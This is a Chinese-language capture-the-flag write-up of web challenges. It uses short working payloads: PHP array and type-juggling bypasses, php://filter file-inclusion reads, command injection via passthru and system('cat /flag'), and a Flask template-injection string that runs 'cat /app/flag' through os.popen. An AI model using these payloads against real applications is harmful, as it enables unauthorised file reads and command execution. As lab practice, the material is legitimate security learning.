_extract函数存在变量覆盖,因此再get传入_init_str=6即可满足条件
md5()函数存在漏洞,传入为数组时,会报错返回NULL值,满足==0
主机关机了,以为啥都没了,没想到。。。肯定是备份考察
index.php.bak index.php.swp 发现.index.php.swp下载的文件里flag
4. 文件包含题目说了是文件包含漏洞。发现?file=参数,查看源码得知flag所在文件
?file=php://filter/read=convet.base64-encode/resource=get_flag
伪协议读取get_flag,base64解码后得到flag。
5. strcmp
strcmp存在bug,参数为数组时会返回NULL,使得==0成立。因此传入?str[]=1得到flag
6. easy_serialize构造序列化即可。
下载好的源码里有一个she11.php文件。经preg_replace之后得到后门密码为zygsctf
8. easy_js
考察json_decode()函数,用0=="字符串"来绕过判断,传入key={"flag":0}
查看源码发现了一个假flag。不得行。试着用php伪协议读取一下
?file=php://filter/read=convert.base64-encode/resource=flag.php
在文件末尾发现报错,多了.php.去掉传入
?file=php://filter/read=convert.base64-encode/resource=flag
得到flag的base64编码,解码后得到flag。
10. 小矛盾科学计数法绕过即可,传入?num=1e12
看见:真棒,但是flag在哪? 证明满足条件了,找flag。F12 最终在network响应头里找到了flag
存在命令执行,但是过滤了system,cat等函数,过滤不严,使用passthru("ls");看见flag。
看见cat,more,less被禁用,linux环境,不能用cat读取的话,可以用head看一下文件,得到flag
?cmd=passthru("head fla*");
2. webshell查看robots.txt, 发现webshe11.php
访问其什么也么有,但是在源码里发现一段base64加密密文
题目名字为webshell,估计hacker为shell。
查看根目录,传入?hacker=system("ls /");
发现flag。传入?hacker=system("cat /flag"); 得到flag。
3. 命令执行提示?cmd= 没有任何过滤,
?cmd=ls; 看见get_flag
?cmd=cat get_flag得到flag。
4. 无字符webshell
无字符命令执行。这个题难,原理我还没搞明白,以后再看,先继续学
可参考:
k无字母数字绕过正则表达式总结(含上传临时文件、异或、或、取反、自增脚本)_yu22x的博客-CSDN博客
sstl模板注入 1. secret_key存在SSTI模版注入 ?cmd={{config}}查看一下设置,发现
'SECRET_KEY': 'zygsctf{3s41zeynr9ixf8mko62apdghtv0uc75qjlbw}'
得到flag。
2. easy_flask提示了 flag in /app/flag
看见flask,存在sstl模板注入。直接查flag文件即可。
?cmd={{config.__class__.__init__.__globals__[%27os%27].popen(%27cat /app/flag%27).read()%20}}
得到flag。
sstl模板注入。题目不常遇见,实际遇到的话还是需要查,以后遇到类似的多的话可以试着做个合集记录一下知识点。